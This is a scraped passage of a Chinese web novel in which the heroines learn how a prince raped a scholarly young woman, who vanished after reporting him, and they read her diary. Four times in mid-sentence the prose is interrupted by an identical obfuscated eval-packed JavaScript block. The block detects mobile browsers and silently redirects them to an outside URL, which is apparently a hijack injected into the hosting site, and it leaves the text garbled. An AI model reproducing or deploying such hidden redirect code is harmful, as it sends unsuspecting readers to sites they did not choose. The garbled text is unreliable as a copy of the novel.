晏宁交代她，务必不能让任何人怀疑到她身上，是以，在见到乞丐惊慌失措地跑出门时，她也连忙跑了。 但仍旧担心乞丐会怕生事而不去报官，直到见他走入县衙，这才转头离开。 之后，她找人煽动百姓，唤起他们心中的恨。这些百姓几乎都受过沈周陆三人欺压，早就不知在心底埋下了多少怨念，只碍于门第家世，才敢怒不敢言，如今有人给了他们一个宣泄的出口，自然顺势而上。 真相有时本就不重要。 百姓的怒火给了县衙压力，即便案子仍有疑点，也架不住全城百姓请命。 晏宁走在回客栈的路上，她并不害怕顾绍之事后会怀疑到她身上，没有证据，他又能如何。 算算时辰，她们都已出城了吧。 “姑娘，我有一事不解。” 晏宁看向她。 清璇左看右看， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831690|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑近她低声道：“那人怎会就此认罪？” 晏宁知道她指的是谁，“你还记得在绮春坊里，陆逍死的那间屋子吗？” “记得。” “你可闻到屋子里的香味了？” 经她这么一提醒，清璇也回想起来，“那不是胭脂的味道吗？” “那是一种药草味，只是那时剂量不大，闻了只会让人产生幻觉，容易唤起被害人心中阴影。” 清璇反应了一会儿，慢慢瞪大双眼，“那陆逍岂不是……” 他本就做贼心虚，加上于他之前两个好友离奇殒命，他彻夜难眠，躲在府里不敢出门，原以为绮春坊人多，定然安全，没成想却一脚踏入凶手为他精心布置的陷阱中。 他成日都在寻花问柳，身子早已亏空，长久的精神紧绷，又闻了特制的药草味，神智精力都无法持续，竟生生死在了床榻上。 “今日屋子里的药草加足了剂量，足以教人心智失常，说不出一句完整的话。” 清璇心中忐忑，“那人究竟做了什么，何姑娘竟能心狠至此？” 先是将人困在暗无天日的牢笼之中，又将她推出去顶罪，三条人命，死者家属岂会轻易放过？ 纵然他们怀疑一个人无法做到，也无计可施，只能将所有的恨意撒在她身上…… “那便只有当事人知道了。”晏宁轻描淡写地带过。 她们已逗留多日，怕多生事端，收拾好包袱便准备出发。 “姑娘，可要同谢公子说一声？” 晏宁已打开门，那句‘没必要’还未说出口，便撞到一人身上。 那人抬着手像是要敲门，没料到晏宁会突然开门。 他本站在门槛外，晏宁抬起的脚没来得及收回，往一边栽倒，谢鹤明眼疾手快地扶了她一把，一手揽着她的腰，女子温软的身躯贴近他，淡淡的香味袭来，他愣了愣，只一瞬便连忙松手，克制地退后一步，连声道：“失礼失礼，七娘勿怪。” 晏宁习惯在人前示弱，因而她本可以站稳，却仍旧装出一副要摔倒的模样，饶是如此，谢鹤明的举动依旧出乎她的意料，一股陌生的感觉从心底腾起，可还没等她说什么，对方便抽身而退，并无任何不妥之处，她道：“无事。” 这时，清璇正巧出来，她没察觉出不对，见谢鹤明也在，问了句：“谢公子也要走了吗？” 谢鹤明看了眼晏宁，笑道：“逗留多日，也该启程了。” “更何况，当初七娘说要负责之言，我可当真了。” 晏宁眼皮一撩，透着疏冷。 对此，清璇不敢接话，她默默往晏宁身后挪了挪，小声道：“姑娘，再不走天就要黑了。” “公子，马车找好了。” 元青从楼下跑来，他并未多看，笑着解释道：“七姑娘，公子知道你急着出发，一早就让我找好马车，车上放了软垫，你应当坐的舒服，路途遥远，也备了不少吃食，还有那城东的糕点也买好了。” 他想得妥当，面面俱到。但晏宁仍是不解，他究竟想从自己身上得到什么？ 此去平阳，是平阳王楚麟的地盘，或许总有用到他的地方。 他的立场不明，只能小心提防，若有不对之处，她不介意用他的命来为她所做之事铺路。 29. 平阳 马车驶入平阳城，晏宁掀开车帘朝外看，第一时间便察觉到不寻常，街上的人很少，偶尔几个看着自己的摊子，但也显得心神不宁，目光总朝远去眺望。 谢鹤明见状，打发元青下去问问，片刻后，元青回来禀报，“今日出了桩大事，百姓都去县衙围观了。” 清璇惊疑：“多大的事才至于全城百姓都赶去？” “是桩……奸污案。” 元青神情略有异样，他欲言又止，几次看向晏宁，该说不说，天底下就是有如此巧的事，“嫌犯正是平阳王。” 晏宁眸色微动，此前她在铜陵得到的消息是，平阳王虽有权势，却是个良善之人，而转眼谢鹤明告诉她，楚麟并非表面上看起来这般，他能让平阳出不了一个有才学之人，便知他的野心。 她见过太多如他一样，因自己庸碌，便不许任何人超越自己，否则能突破底线，做出更多更疯狂之事。 晏宁不认为这种人会是什么好人。 马车继续朝前行驶，经过两条长街，拐过几个弯，穿过一条巷子，终于听到了吵嚷声。 马车停下。 元青率先跳下车，搬下脚蹬，接着谢鹤明走下去，他欲伸手搀扶二位姑娘，却被无视了，清璇在后面瞧着，竟也不敢碰，提起裙摆匆匆下车。 谢鹤明不是第一次遭人无视，不以为意地收回手，吩咐元青去定客栈，见晏宁二人走远，连忙跟上去。 县衙外围着的人很多，多到晏宁险些以为自己还在铜陵，可不同的是，衙门中人并未出面，只让一众衙役拦住他们，推搡间免不了碰撞，有妇人被推倒在地，她怀中抱着的孩子哇哇大哭，场面一阵凌乱。 百姓们的情绪更加激动，抓着衙役手里的棍子就要往里冲，晏宁不禁皱眉，一桩案子就引得群情激奋，这平阳王究竟做了什么？ 最外围站着一个妇人，她看着混乱嘈杂的人群，面色颓然，失魂落魄，竟没注意前方不断后退的人，被人误伤，将要摔倒之时，清璇快速上前扶了她一把。 妇人站稳，恍惚的目光逐渐聚焦，扭头看向一旁女子，怔了怔，“……多谢姑娘。” “夫人可有伤到？” “我没事……”妇人重新看向人群，脸颊微微颤动，复杂的情绪涌上她双眸，痛苦、悔恨、遗憾…… 清璇朝身后望了眼，见晏宁始终看着这边，心安了点，遂问：“夫人可知此处发生了什么？” 妇人垂下头，喉头几番滚动，似在压抑着情绪，听她猝不及防发问，转头道：“姑娘不是本地人吧？” 清璇摇头。 “那姑娘还是莫要知道了，以免惹祸上身。” 她说完这句话，转身就走，佝偻着背，身形憔悴，仿佛背上压了一块重石，令她直不起腰来。 清璇觉得很不舒服，转身跑到晏宁身旁，将方才那话如实转述给她。 末了，她问：“姑娘，那接下来该怎么办？” 晏宁沉默不语，倒是谢鹤明插了句：“跟上去问问不就知道了。” 妇人还未走远，虽然清璇也觉得她应是知情人，但她若执意不说，他们又能有何法子呢？ 她静静等着晏宁开口。 “走吧。” “去哪儿？” “跟上去看看。” 清璇愣了下，下意识朝谢鹤明看去，见他一副早已猜到的模样，亦步亦趋跟在晏宁身后，她总觉得怪异，连忙摇摇脑袋，将那些不合时宜的想法抛到脑后，也跟了上去。 几人并未刻意放轻脚步，如往常一般走着，但许是妇人心中藏着事，也没注意身后，直到她走到家门外，正准备关门，抬眼一看，面前站着三人，她先是吓了一跳，而后认出其中一个女子便是前不久扶过她一把的人，她嘴唇动了动，对他们的意图并不明白。 “夫人，可否容我们进去坐坐？” 妇人看着他们，两个女子面容秀丽，浅淡的笑容让人说不出拒绝的话，可是…… 她看向一旁青年。 这男子一直都未开口，他笑容亲切又温和，气质卓越，眉眼微弯，显得平易近人。 但毕竟是个男人。 见妇人面有疑虑，谢鹤明明白她的顾虑，体贴道：“夫人若是担心，我就站在门外，不进去。” 他进退有度，这番举动倒让妇人觉得歉疚，只是防人之心不可无，何况前不久才发生了那样一件事…… 瞬间，她神色又淡下来。 门虚掩着，三人坐在院里，谢鹤明倚在墙上，他微微偏头便能听见里头的声响。 清璇问：“这里究竟发生了什么？” “你们知道平阳王吗？” 听她提起此人，清璇朝晏宁看一眼，轻轻点点头。 “此事要从济善堂修建完成说起……” 济善堂是平阳王楚麟命人修建，说是为了接济穷人，为了让那些念不起书的孩子有个读书的机会。 济善堂很大，一半是学堂，一半是住处。 教书先生都是楚麟亲自找来，文采斐然，教这些孩子属实是大材小用了。 乡里乡亲很感激他，他们也不求子女多有出息，至少不要像他们一样，一辈子庸碌无为，连个大字也不识。 原本一切都很好，直到发生了一件事…… 妇人原姓夏，她生有一女，名唤夏荞，年芳二八，长相不算惊艳，却也清秀灵动，可惜…… 身有缺陷，智力有如孩童。 她一人将夏荞养大，不想让她觉得自己与旁人不同，日日教导她：世上有些人会因你的与众不同而嫉恨你，不是因为你不好，而是因为你足够出色。 日复一日，月复一月，夏荞过得无忧无虑，天真烂漫，她有一好友名唤楼素羽，姿容明艳，性子却内敛，二人一动一静，难得互补。 楼素羽幼年失怙，在未进入济善堂之前都在夏家长大，夏母待她如亲女。 她聪慧博学，在旁人始终不能理解某句话含义时，她已融会贯通，永远赶超数人，连先生都赞她，若是个男儿身，必能考取功名，光耀门楣。 济善堂里不乏小郎君，先生此言岂不在说他们都不如一个女子？换谁能服气？ 楼素羽就是这样在旁人的艳羡与嫉妒中将所有人甩在身后，她面不改色、脚踏实地，克己到让人咂舌。 世人称赞女子多用她如男子来赞美，其中用意还不是觉得女子不如男子，可平阳城偏偏出了这样一个人。 她写诗作画来补贴家用，字迹娟秀，赏心悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831691|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目，一幅山水画以淡墨渲染，却如置身群山之巅，俯视凡尘俗世，震撼又洒脱。 转瞬间，她名声大噪。 可这样一个惊才绝艳、令人交口称赞的女子，却在一日握起县衙外鼓锤的那一刻，彻底变得不一样了。 公堂之上，她盯着堂上县官，身后是百姓的议论声，那声音不大，却字字句句往她心口扎。 她脸色苍白，纤瘦的身子不再如先前一般挺拔。 在县官问出她所告何事时，她定了定神，一字一句道：“民女楼素羽，状告平阳王楚麟奸污。” 话音落定，全场静了片刻。 接着响起更加激烈的议论声，一句盖过一句，像清水倒入油锅，“滋滋”冒着响儿。 她动也不动，眼瞳漆黑如墨，如她所绘山水画里最浓墨重彩的一笔。 县官连拍好几声惊堂木，外头的声音才渐渐停下。 他看向楼素羽，目光晦暗，就如那阴沟里的老鼠，阴冷恶心，“既然你状告的乃是当朝王爷，本官若不接你的案子，恐怕外人会说本官徇私，不过依本朝律例，需得先受仗刑，再将状纸呈上，本官才可受理。” “你可想好了？这仗刑可不是人人都受得，一不小心命都没了，莫要为了一些身外之物，而枉送性命啊！” 县官此话也算威胁，楼素羽听懂了，可她不能退，那些侮辱之语落在耳中，她咬咬牙，眸光清正，坦荡地迎上去：“民女为求公道，问心无愧！” 不知情的百姓看向她的目光已然变了。 原以为是个才德兼备、严于律己的女子，却不曾想也是这般受不住诱惑。 读再多书又如何，还不是心术不正，意图攀附权贵。 平阳王是何许人也，城里城外皆赞颂的大善人。 他出钱修建学堂，搭粥棚，让穷人读书果腹。 虽王府中姬妾成群，却名声不减，可见是个好人。 这样一个好人怎可能做出奸污民女之事？ “真没想到她是这种人，为了嫁进平阳王府，连这种谎话都说得出口，平阳王缺她一个吗？” “王府高门显赫，便是做妾也轮不上她啊。” “王爷什么人没见过，亏她说得出这话来，我都替她羞耻，她不会是以为长了一副狐媚相，便能飞上枝头变凤凰吧？” “果然啊，女子读太多书又什么用，尽用在旁门左道上了。” 伴随着木棍打在皮肉上的“梆梆”声，这些刺耳难听的话钻入楼素羽耳中，她忍着身上的疼，连日来所受的委屈如同开了闸的洪水，一发不可收拾。 她双手紧紧抓着身下木凳，用力到指尖发白。可她没有哭，更没有流泪，那只会让人觉得她软弱。 曾经那些夸赞、敬佩、仰慕的话仿佛还在耳边回荡—— “女子就该多读点书，像楼姑娘这样，有才情又博学多识的姑娘就是王妃也当得。” “姑娘一笔千金求，竟将众多儿郎都衬得逊色不少。” “楼姑娘才貌过人，小生惭愧，竟不及姑娘万一。” “若姑娘能参加科考，定能拔得头筹。” 言犹在耳，实在讽刺得很。 楼素羽低着头，想到那些话，不自觉笑了出来。 30. 祸害 听到这里，再联系先前县衙外一事，晏宁大抵知道后来又发生了何事。 可清璇不解，“我看那群百姓情绪激动，拼了命想往县衙闯，不像那般信任平阳王。” “那是因为……”夏母眼中溢出泪来，语气也不如方才平静，她嘴唇颤动，看着二人道：“平阳王所祸害之人不止素羽一人。” 清璇瞪大眼睛，反应了好一会儿，才明白她的意思，顿时一阵凉意爬上脊背，良久都未开口。 不止一人的意思是，县衙外那些围堵的百姓皆有可能是受害之人的亲眷，他们得知真相，怒不可遏，愤而群起，要为自己的女儿讨个公道。 同时，清璇又觉得讽刺，果然，棍子没打在自己身上，不知道疼啊。 小院里气氛沉闷，清璇突然想到什么，试探着问：“楼姑娘的状纸，县官可接下了？” 夏母扯了扯唇角，“没有。” 意料之中的答案。 清璇心中很不是滋味，目光环顾一圈，“为何不见两位姑娘？” 楼素羽挨了板子，县官却出尔反尔，不曾还她一个公道。她自小无父无母，除了待在济善堂，便只有这一处地方可去，如今，她状告平阳王，济善堂自然待不得了。 可这屋子就丁点大，不见多余身影，清璇感到很不安。 她抬头，未等到夏母开口，却是晏宁神色淡淡的说了句：“若我没猜错，楼姑娘应该遇害了。” 清璇惊愕之下，只见夏母面色悲痛，沉沉点头，“阿素命苦，没能等来一个公道。” 夏母也是在事后不久，从楼素羽反常的状态里察觉异样。 平日里，楼素羽随时随地都捧着一本书，丝毫不肯懈怠，她在学堂里提前将先生要求的功课做完，回来后继续看书，若是时辰尚早，便出门寻一处宽敞之地支起一个小摊，卖些字画，替人写信读信。 可有一段日子，她见阿素总是心不在焉，神色恍惚，桌案上放着一本书，风吹动书页，却不见她自己翻动。 往日她虽内敛话少，但对读书一事尤为认真，用她的话来说，念书看书应严肃以待，不可不专注。 她的变化很明显，有时夏母靠得近了，她没有察觉，总会被吓到，如惊弓之鸟一般。 那日，楼素羽在小厨房打下手，夏母同她说话，她没应，怔怔地盯着地面，夏母走过去，轻轻拍了拍她的肩，她惊得手一抖，铁勺掉在地上，沾了一层灰。 回过神来后，又忙弯腰去捡，夏母欲言又止，轻声问：“阿素，是不是发生了什么？” 楼素羽面色一僵，摇头，“没有……” 可她不擅说谎，一说谎，眼睫眨得飞快，任谁都能轻易将她看透，夏母猜到她许是有难言之隐，不愿逼迫，只叹道：“你向来有主见，我虽看着你长大，却也不好过问你的事，但你要记得，这里永远都是你的家，有些心事可以对家人说。” 楼素羽面色动容，半垂着眼，忍了又忍，终是忍不住哽咽道：“干娘，我……我不知道该怎么办了……” 她说出了埋藏在心中许久的秘密，令她回想起来都觉得恶心。 与往常一样，先生教完课就离开了。 她坐在位子上，低头做功课，夏荞闲不住，就往她身边挪，“阿素姐姐，你在做什么？” “写字。” 夏荞拉着她的衣袖晃了晃，“我好无聊，你陪我出去放风筝嘛。” “等我写完这个。”楼素羽似是被她不依不饶的模样逗笑了，微微扬起唇角，弧度并不大，却煞是好看。 二人正说着话，身后传来一声惊呼：“王爷！” 楼素羽笑容一顿，忙正经起来，放下笔，跪着转身行礼，头都没抬，身子伏下，双手置于额前，恭恭敬敬随着众人道：“参见王爷。” 她明显感觉到平阳王在她跟前停顿了一瞬，视线似乎也在她身上有所停留，只是彼时她并未多想。 且听一声：“都起来吧。” “谢王爷。” 她站起身，微微抬头，不经意扫过平阳王的脸，并无多余的想法，只因她受平阳王恩惠，方才有机会在此念书，对他心存感念。 耳畔传来一些女子的低喃，“王爷长得可真好看啊。” “真羡慕王府里的女子，日日都能见到王爷。” 不错，平阳王不常来此，她们也没什么机会能见到一面。 听她们言语中多带倾慕，楼素羽也回过头认真看了看，若论相貌，楚麟也算上乘，许是他并未继承老平阳王的衣钵做个武将，举手投足间尽是读书人的气质，风度翩翩，笑容亲切，一双多情眼眸，在女子身上稍作停留，就会惹得一阵心猿意马。 无人能拒绝。 可楼素羽一心只想念书，对她人心思并不关心，只淡淡看了眼，便收回目光。 “本王闲来无事，便想着过来看看，你们不必理会，做自己的便是。” 他的声音清朗动人，一旁姑娘含羞带怯地看向他。 楼素羽听了他的话，干脆直接坐下，继续写字，可不知是不是她的错觉，似乎有道目光总是黏在她身上，令她感到不适。 “阿素姐姐。” 夏荞的声音将她唤了回来，她扭头问：“怎么了？” 夏荞指了指前面，一脸单纯，“那个王爷在看着你。” 她一怔，下意识抬头，正巧撞上楚麟的目光，虽不知为何，但她既然看见了，自然不能当作没看见，于是起身，毕恭毕敬走到他身前，屈膝下拜，“不知王爷可有事吩咐？” “你就是近日传闻中的小先生——楼素羽？” 楼素羽埋下头，“民女惶恐。” 头顶传来一声笑，楚麟将她扶起，“你不必害怕，本王只是有些好奇，这聪慧博学的姑娘究竟是何模样，如今瞧见，果真与众不同。” “民女愧不敢当。” 楚麟“嗳”了声，“你不用妄自菲薄，聪慧是好事。”顿了顿，他又道：“如何，在这里待得惯吗？” 楼素羽心中生疑，谨慎答道：“这里很好，多谢王爷。” 那股熟悉的感觉又来了，就像被人当作猎物盯上一般，还不等她多想，楚麟轻描淡写地点头，而后去同他人交谈，像是随口一问。 楼素羽渐渐放下心。 之后几日，楚麟来得勤，却不曾与她多说话，她也没放在心上，依旧心无杂念的捧着书看。 这时，有人来传话，说夏荞在后院厢房里等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831692|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，她虽奇怪，但还是去了。 后院很大，每个人都有独立一间厢房，以供平日休息，她坐在床边，边看书边等夏荞，过了须臾，她听见门响，以为是夏荞来了，放下书抬头看去，“你怎么……” 话音戛然而止。 她怔愣之余，双眼一点点睁大，忙不迭跪下，“参见王爷。” 她不知楚麟为何会在此处，只将敬重写在脸上，不曾失礼半分。 楚麟笑着走上前，“这里又无旁人，不必多礼。” 他将她扶起，手指不经意地从她小臂上划过。 楼素羽毫无察觉，见楚麟坐在桌旁，便上前倒茶，而后安静立在一旁。 楚麟看她一眼，笑着解释：“我正巧路过，见门没关，就来看看。” 原是如此。 楚麟捧茶，手执茶盖轻轻拨了拨，热气散去不少，他浅抿了口。 济善堂里的茶水虽不似她以往喝的那般苦涩，但也比不过王府里的清香怡人，可这位王爷却丝毫不嫌，没有半分权贵傲气，待人待物，总是和善，当真与众不同。 正想着，楚麟又道：“每次见你都拿着书，你很爱看书？” 楼素羽低头，想了想，认真回应，“民女自幼失去双亲，又是个女儿身，难免惹人看轻，但书本不一样，它不会嫌弃我，我能从上面学到许多东西……” 话头一顿，她反应过来，自己竟说着说着，没了尊卑，又要跪下，却有一只手掌在她双膝落地之前扶住她，无奈道：“这又是做什么？” “民女言行不当，请王爷恕罪。” 楚麟不由一笑，“你啊，动不动就下跪，这习惯可不好，本王看上去很凶吗？” 楼素羽连连摇头，一本正经道：“王爷随和亲切。” 她的目光落在手腕上。 适才她要跪，楚麟扶住她，可这手却一直没有收回去，男子手心的温热几乎灼烫了她的手腕，她连忙退后两步，避开楚麟的触碰，但她到底是未经历过此等情状，书上也不曾告诉她该如何处理，看似平静的内心，耳尖却染上淡淡红晕。 楚麟视线从她的脸上落到手腕，又回到她的脸上，自然没错过她耳尖的粉红，温和一笑，“听说你的字写得极好，不知今日可有幸见识一番？” 他主动提起别的，倒让她放松不少，遂道：“那民女献丑了。” 她走到书案前，铺纸磨墨，提笔写字，神情专注，不似方才那般失态，仿佛回到了自己熟悉的地方，颇觉安心。 最后一笔落下，她将笔搁置在一旁，拿起纸正要给楚麟看，一转身，却撞进男子怀中。 陌生的气息瞬间包裹了她。 她一惊，下意识后退。 可她已在案边，再退又能退到哪儿去，后腰抵在书案上，头往后仰，双眼圆睁，似是吓得不轻。 但眼前人却毫无所觉，身子贴着她，拿起她落下的纸，点头赞道：“果然不错，字如其人，清丽脱俗。” 他这已是明晃晃的赞美了。 哪怕再迟钝，也该意识到不对。 楼素羽心慌意乱，搭在书案上的胳膊有些撑不住了，“王爷谬赞……” 就在她将要栽倒时，一只手托了她一把。 31. 手记 楼素羽未曾经历过男女之事，情窦初开的少女怎会料到这一切的一切都源于男子的算计。 此刻，她被迫攀在楚麟身上，手脚无处安放，脸热得快要烧起来，同时心中更有一丝难堪与无措。 她自诩镇定，向来不会有任何事影响她的心绪。 可平阳王乃皇亲国戚，在她们这些平民百姓眼中，是最高不可攀之人，她不知如何应对。 恍惚间，她听到一声轻笑，“当心点。” 男子的声音很温柔，如涓涓细流，她不自然地屈起手，仰头看他，小声道：“王爷，我站稳了，你可以松开我了。” 静了会儿，楚麟突然打横将她抱起，猝不及防间双脚悬空，她吓得连忙抓紧楚麟的衣袖，回过神后又下意识松手，虚扶着他的肩，正要张口，却被稳稳地放在床榻上。 她六神无主，想说些什么，但楚麟即刻坐在她身侧，瞬间一股巨大的恐慌将她湮没，抬头看了看，紧闭的门外静悄悄一片，她隐隐感觉到不对劲，思绪乱成一团麻绳，还不等她将绳子理顺，就见身侧人倾身过来，她惊得往旁边退，“王爷，你……” “嘘。”楚麟依旧是那副温和的笑脸，贴近她，手掌轻而易举地覆盖住她的脖颈，不让她逃离，亲昵地说：“别出声。” 他如情人一般在她耳边低语，“素羽，我很喜欢你。” 楼素羽说不出自己是什么感觉，仿佛置身于波涛滚滚的江面，随着帆船起伏不定，她越过楚麟的肩头，盯着头顶帐幔，想起那个被夏荞玩到破旧的娃娃。 她的心揪成一团，耳畔是男子低低的嗓音穿透耳膜，她想，王爷何等身份，竟会对她青睐有加，真是幸运。 可伴随着巨大的疼痛袭来，她的脸上虽在流着泪，双手极力摆脱心中抗拒，缓缓攀上他的肩。 夏母止住了话头，起身往屋里走。 清璇恶心到头疼，许是自己和她境遇相似，对那个素未谋面的姑娘产生一丝同情。 脚步声响起，夏母回来时，手里捧着一盒匣子。 “这是阿素失踪后，我在她屋里找到的。” 清璇捕捉到她话里的字眼，“失踪？也就是说无人确定她是生是死。” 她的言语中不难听出还抱有一丝幻想，可晏宁却没什么情绪的打破那点可怜到微末的想法，“一个女子，被仗刑过后赶出县衙，却未归家，你觉得她的下场能好到哪里去？” 这话说得直白了些，尤其是对于切身感受过当事人的悲痛，再听到这话，更觉得此人不近人情，将他人的苦难以轻描淡写的方式说出。 清璇是习惯了，知道晏宁并非那样想，她虽表现冷漠，却能在关键时刻将她带出牢笼，能在几个女子为复仇而走投无路时，帮她们一把，哪怕她总说自己无心救人，可结果却救了许多条人命。 在晏宁说完那句话后，小院里安静了片刻，夏母的脸色很不好看，她早已默认的事实，被人直接说出，心痛如刀绞。 清璇见情况不对，忙问：“这是什么？”她指着匣子。 夏母抚摸过匣子表面，脸上带着慈爱，“找到时就上了锁，无法打开，我也不知道里面放着什么，想来是她珍视的东西。” 清璇拿起匣子，左右晃了晃，很轻，没什么重量。 正当她决定放弃时，晏宁伸手接过，只见她从发辫里取出一根银簪，细小如针，动作迅速地插入锁孔中，捣鼓两下，锁开了。 清璇愕然，比她更惊讶的是夏母。 “姑娘竟连开锁都会……” 晏宁没有解释，清璇道：“我家姑娘平日就喜欢弄些小玩意，这锁也并非罕见，换做我，我也能开。”那自然不能。 她心里那点心虚还没蔓延开，就被匣子里的东西吸引了注意。 厚厚的信纸，上头的墨迹早已干透，属于女子的字迹漂亮娟秀，既有力度又不失柔美，果真如外界传言一般。 清璇未上过几日学，自然羡慕能写出一手好字的姑娘，“这些都是楼姑娘写的？” 晏宁盯着纸上的字，眉头越皱越紧，脸上浮现几分愠色，这倒是少见。 “怎么了姑娘？这信有何不对？” “这不是信，是楼姑娘的手记。” 晏宁顶着二人的目光，将纸上内容念出来： …… 阿荞在屋中等我，我心中挂念，不敢耽搁。等了许久，有人进屋，我见是王爷，生怕冒犯，连忙行礼。 王爷扶起我，说了好一会儿话，温柔又有耐心，谈及我的字，夸赞了几句。 我写完字，回头时，王爷站在我身前，他很高，长得很好看，笑容亲切，没有丝毫架子。 他的手揽过我的腰间时，嘴唇像要落在我脸上，他说他心悦于我，我想推开他，却被他紧紧抓住。 我很害怕，想喊人来，却被他堵住嘴，那感觉很痛很痛，我不知道应该如何面对他，他说喜欢我，那我也喜欢他好了。 这样，我心中的不安与愧疚也会少一点。 …… 王爷今日来查问我的功课，他将我抱到他的腿上，一只手按在我的腰间，另一只手伸进我的衣服里。 我看不见自己的脸，但应是红的，我第一次在背书时那么不专注，就像被另一个更美好的事物吸引了注意。 是美好的吗？ 一定是的。 …… 王爷站在前面，我注意到身旁许多姑娘敬仰与倾慕的目光，心中生不出任何的喜悦与满足，只好勉强牵起嘴角，让自己看上去更欢喜一点。 我想，我不能喜欢他了。 我得爱上他，就如爱我自己一样。 这样，我就不会那么痛苦了。 …… 有几日不曾和他独处，他似乎很忙，忙到无暇看我一眼。 我写完一幅字，怀揣着欣喜跑去见他。 有人说见到他在后院出现，我以为他在等我，想也没想推门进去。 我宁愿当时没有出现在那里，宁愿这一切依旧是自己幻想出来的美梦，却不曾想，从一开始就错了。 本就破碎的梦境如何圆满？ 这只是一场以爱之名编织而成的谎言，痛苦的面具一旦摘下，才发现内里早已腐烂溃败。 原以为黎明将至，才发现黑夜永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831693|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无止境。 …… 夏母已泣不成声。 清璇亦是含着泪，茫然地看着她。 厚厚一沓纸，满载着少女情窦初开的心思，与梦幻破灭时，难堪愧疚的内心。 负罪感将她压得喘不过气。 她一心扑在读书上，却对人心了解得太少。 那样一件亲密事，她觉得应该和心上人一起做，所以不断告诉自己，王爷就是她的心上人，否则，她就太痛苦了。 可少女如何能想到，男人的爱太廉价，可以给她，也可以给其他姑娘。他说爱你时，对你做任何事都有了名正言顺的理由，说多了，连他自己都信了，可往往会有单纯的姑娘陷在他的温言软语中，看不透面具后的假意。 如楼素羽一般的女子有很多，她们满心以为寻到了真爱，殊不知只是权贵之间的玩笑之语。 爱你时哄着你奉上自己的所有，到头来，吃亏的永远都是女子。 世人对男子向来慷慨，至多评价一句‘风流多情’。而对女子极尽贬低，各种辱骂污秽之语往她们身上安，似乎他们管不住自己都源于女子的不安分。 何其可笑！ “姑娘，我们做错了什么？” 是啊，做错了什么，为何受尽苦难的永远是女子？ 这世道人心真是脏透了！ 晏宁将手记放回匣子里，抬眸问夏母：“是您让楼姑娘去报官的吗？” 夏母点头，“那时阿素只一个劲的说她错了，我也心疼她，可我们老百姓如何和贵人争个对错，唯一想到的法子就是报官。” “阿素文采好，自己写下状纸，事先也了解过刑律，对于仗刑也做好了准备，可没想到……” “没想到，县官依旧拒了诉状。”晏宁接下她的话头。 夏母又是痛苦又是悔恨，她抹了把脸，“若是早知当初，我宁可她好好地待在家里，也好过如今生死未卜。” 说什么都太迟了。 楼素羽孤掷一注，今日敢报官，焉知他日不会做出更加大胆的举措。 即便平阳王不在乎，或者说认定她一个小女子掀不起多大的风浪，可他手底下人自会替他处理干净。 只怕那位姑娘怎么也没想到，平阳王会心狠至此。 “那夏姑娘呢？” 夏母的哭声止住了，她抬起红肿的双目，浑浊的目光扫了要空荡荡的屋子，更大的悲戚涌上心头，她抽泣道：“在牢里。” 二人俱是一愣。 等她心情稍微平复下来，清璇道：“按说夏姑娘和此事毫无关联才对，为何会……” “都怪我……” 她常对夏荞说，世上女子各有不同，但都有各自的出彩之处，不必同旁人作比，因为你已足够优秀。 夏荞将她的话记在心中，每日过得很开心，乍一看去，和寻常女子别无两样，可与她多说几句，旁人自然能发现她的不同。 但夏荞只是笑一笑，她说：“我很喜欢我自己，我性格很好，长得好看，不用为任何事发闷，也不用讨别人的喜欢，阿娘喜欢我，阿素姐姐也喜欢我，我可以永远当孩子。” 32. 囹圄 所有人都像看傻子一样看着她。 夏荞一如既往地开朗乐观，她不爱看书，却喜欢看楼素羽写字，因为楼素羽不喜欢吵闹，她就安安静静待在一旁。 下学后，楼素羽去卖字画，她也跟着去，好多人都喜欢来逗她闹她，见她也不生气，就闹得更起劲儿了。 而这样一来，光顾摊子的人就多了。 之后…… 大抵是觉得夏荞不知此间严重，楼素羽又实在无处倾诉，便将那些痛苦的回忆当作故事说给她听。 夏荞神情懵懂，听得云里雾里，却也不打断她，只是看着她低头落泪，心中很不是滋味。 那双眼眸终是失去了她独有的颜色。 